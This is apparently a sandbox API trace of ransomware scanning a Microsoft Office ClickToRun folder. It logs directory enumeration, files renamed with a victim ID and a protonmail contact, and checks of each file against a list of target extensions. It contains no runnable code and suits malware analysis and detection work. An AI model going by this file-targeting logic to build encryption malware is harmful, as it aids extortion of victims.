	[0167.619] FindNextFileW (in: hFindFile=0x6ac458, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8d22e066, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d22e066, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0167.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun") returned 57
	[0167.620] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun") returned 1
	[0167.620] lstrlenW (lpString="ClickToRun") returned 10
	[0167.620] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ClickToRun") returned -1
	[0167.620] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4455ff0
	[0167.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun") returned 57
	[0167.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8d22e066, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d22e066, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName=".", cAlternateFileName="")) returned 0x6ac8d8
	[0167.622] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8d22e066, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d22e066, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="..", cAlternateFileName="")) returned 1
	[0167.623] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1360d3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b1360d3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b1360d3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x49e2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="API-MS~1.HTM")) returned 1
	[0167.623] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html") returned 71
	[0167.623] lstrlenW (lpString=".1cd") returned 4
	[0167.623] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0167.623] lstrlenW (lpString=".3ds") returned 4
	[0167.623] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0167.623] lstrlenW (lpString=".3fr") returned 4
	[0167.623] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0167.623] lstrlenW (lpString=".3g2") returned 4
	[0167.623] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0167.623] lstrlenW (lpString=".3gp") returned 4
	[0167.623] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0167.623] lstrlenW (lpString=".7z") returned 3
	[0167.623] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0167.623] lstrlenW (lpString=".accda") returned 6
	[0167.623] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0167.623] lstrlenW (lpString=".accdb") returned 6
	[0167.623] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0167.623] lstrlenW (lpString=".accdc") returned 6
	[0167.624] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0167.624] lstrlenW (lpString=".accde") returned 6
	[0167.624] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0167.624] lstrlenW (lpString=".accdt") returned 6
	[0167.624] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0167.624] lstrlenW (lpString=".accdw") returned 6
	[0167.624] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0167.624] lstrlenW (lpString=".adb") returned 4
	[0167.624] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".adp") returned 4
	[0167.624] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai") returned 3
	[0167.624] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0167.624] lstrlenW (lpString=".ai3") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai4") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai5") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai6") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai7") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".ai8") returned 4
	[0167.624] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".anim") returned 5
	[0167.624] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0167.624] lstrlenW (lpString=".arw") returned 4
	[0167.624] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".as") returned 3
	[0167.624] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0167.624] lstrlenW (lpString=".asa") returned 4
	[0167.624] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0167.624] lstrlenW (lpString=".asc") returned 4
	[0167.625] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".ascx") returned 5
	[0167.625] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0167.625] lstrlenW (lpString=".asm") returned 4
	[0167.625] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".asmx") returned 5
	[0167.625] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0167.625] lstrlenW (lpString=".asp") returned 4
	[0167.625] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".aspx") returned 5
	[0167.625] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0167.625] lstrlenW (lpString=".asr") returned 4
	[0167.625] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".asx") returned 4
	[0167.625] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".avi") returned 4
	[0167.625] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".avs") returned 4
	[0167.625] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".backup") returned 7
	[0167.625] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0167.625] lstrlenW (lpString=".bak") returned 4
	[0167.625] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".bay") returned 4
	[0167.625] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".bd") returned 3
	[0167.625] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0167.625] lstrlenW (lpString=".bin") returned 4
	[0167.625] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".bmp") returned 4
	[0167.625] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".bz2") returned 4
	[0167.625] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0167.625] lstrlenW (lpString=".c") returned 2
	[0167.626] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0167.626] lstrlenW (lpString=".cdr") returned 4
	[0167.626] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cer") returned 4
	[0167.626] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cf") returned 3
	[0167.626] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0167.626] lstrlenW (lpString=".cfc") returned 4
	[0167.626] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cfm") returned 4
	[0167.626] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cfml") returned 5
	[0167.626] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0167.626] lstrlenW (lpString=".cfu") returned 4
	[0167.626] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".chm") returned 4
	[0167.626] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cin") returned 4
	[0167.626] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".class") returned 6
	[0167.626] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0167.626] lstrlenW (lpString=".clx") returned 4
	[0167.626] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".config") returned 7
	[0167.626] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0167.626] lstrlenW (lpString=".cpp") returned 4
	[0167.626] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cr2") returned 4
	[0167.626] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".crt") returned 4
	[0167.626] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".crw") returned 4
	[0167.626] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0167.626] lstrlenW (lpString=".cs") returned 3
	[0167.627] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0167.627] lstrlenW (lpString=".css") returned 4
	[0167.627] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".csv") returned 4
	[0167.627] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".cub") returned 4
	[0167.627] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dae") returned 4
	[0167.627] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dat") returned 4
	[0167.627] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".db") returned 3
	[0167.627] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0167.627] lstrlenW (lpString=".dbf") returned 4
	[0167.627] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dbx") returned 4
	[0167.627] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dc3") returned 4
	[0167.627] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dcm") returned 4
	[0167.627] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dcr") returned 4
	[0167.627] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".der") returned 4
	[0167.627] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dib") returned 4
	[0167.627] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dic") returned 4
	[0167.627] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".dif") returned 4
	[0167.627] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0167.627] lstrlenW (lpString=".divx") returned 5
	[0167.627] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".djvu") returned 5
	[0167.628] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".dng") returned 4
	[0167.628] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".doc") returned 4
	[0167.628] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".docm") returned 5
	[0167.628] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".docx") returned 5
	[0167.628] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".dot") returned 4
	[0167.628] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dotm") returned 5
	[0167.628] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".dotx") returned 5
	[0167.628] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0167.628] lstrlenW (lpString=".dpx") returned 4
	[0167.628] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dqy") returned 4
	[0167.628] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dsn") returned 4
	[0167.628] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dt") returned 3
	[0167.628] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0167.628] lstrlenW (lpString=".dtd") returned 4
	[0167.628] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dwg") returned 4
	[0167.628] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dwt") returned 4
	[0167.628] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0167.628] lstrlenW (lpString=".dx") returned 3
	[0167.628] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0167.628] lstrlenW (lpString=".dxf") returned 4
	[0167.629] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".edml") returned 5
	[0167.629] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0167.629] lstrlenW (lpString=".efd") returned 4
	[0167.629] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".elf") returned 4
	[0167.629] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".emf") returned 4
	[0167.629] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".emz") returned 4
	[0167.629] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".epf") returned 4
	[0167.629] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".eps") returned 4
	[0167.629] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".epsf") returned 5
	[0167.629] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0167.629] lstrlenW (lpString=".epsp") returned 5
	[0167.629] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0167.629] lstrlenW (lpString=".erf") returned 4
	[0167.629] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".exr") returned 4
	[0167.629] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".f4v") returned 4
	[0167.629] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".fido") returned 5
	[0167.629] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0167.629] lstrlenW (lpString=".flm") returned 4
	[0167.629] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".flv") returned 4
	[0167.629] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0167.629] lstrlenW (lpString=".frm") returned 4
	[0167.629] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".fxg") returned 4
	[0167.630] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".geo") returned 4
	[0167.630] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".gif") returned 4
	[0167.630] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".grs") returned 4
	[0167.630] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".gz") returned 3
	[0167.630] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0167.630] lstrlenW (lpString=".h") returned 2
	[0167.630] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0167.630] lstrlenW (lpString=".hdr") returned 4
	[0167.630] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".hpp") returned 4
	[0167.630] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0167.630] lstrlenW (lpString=".hta") returned 4
	[0167.630] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0167.630] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b157285, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b157285, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b157285, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x49e2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="API-MS~2.HTM")) returned 1
	[0167.630] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b157285, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b157285, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2faf1c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x53f2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="API-MS~3.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b26242a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b26242a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b288514, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4bf6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="API-MS~4.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b288514, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b288514, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b288514, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4be4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APEE83~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2ae89b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2ae89b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b452414, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x49ea, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APFBFD~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2ae89b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2ae89b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2d4ad9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2e86, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APE551~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2d4ad9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2d4ad9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2d4ad9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4de2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP4D2A~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2faf1c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2faf1c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2faf1c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x59e6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP9054~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b320edc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b320edc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b320edc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4bee, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP4AC2~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b320edc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b320edc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b320edc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x51ec, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APA9CA~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b3472f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b3472f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b7297fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4de0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APA775~1.HTM")) returned 1
	[0167.631] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b42c030, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b42c030, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b452414, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4be4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP4CF2~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b642124, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b642124, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b6934b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6de0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APB130~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7297fc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b7297fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b799631, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x69ea, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APA4FE~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b61be92, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b61be92, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b61be92, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x115e6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP3FAC~1.HTM")) returned 1
